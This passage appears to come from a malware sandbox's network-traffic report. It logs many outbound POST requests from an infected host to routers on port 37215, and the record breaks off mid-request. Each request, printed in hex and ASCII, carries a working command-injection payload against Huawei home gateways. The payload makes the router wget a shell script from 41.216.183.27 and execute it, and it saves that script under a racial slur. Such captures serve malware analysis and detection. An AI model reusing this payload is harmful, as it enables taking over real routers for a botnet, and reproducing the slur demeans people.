Feb 19, 2024 18:38:10.400337934 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:12.288194895 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:16.096072912 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
234	192.168.2.15	52596	94.187.105.228	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.986888885 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
235	192.168.2.15	47976	94.121.39.206	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.987824917 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
236	192.168.2.15	35200	94.121.43.104	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.988117933 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
237	192.168.2.15	57824	94.123.78.89	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.988264084 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
238	192.168.2.15	53770	94.121.124.143	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.988600969 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.15	53152	94.122.105.254	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:08.988713980 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 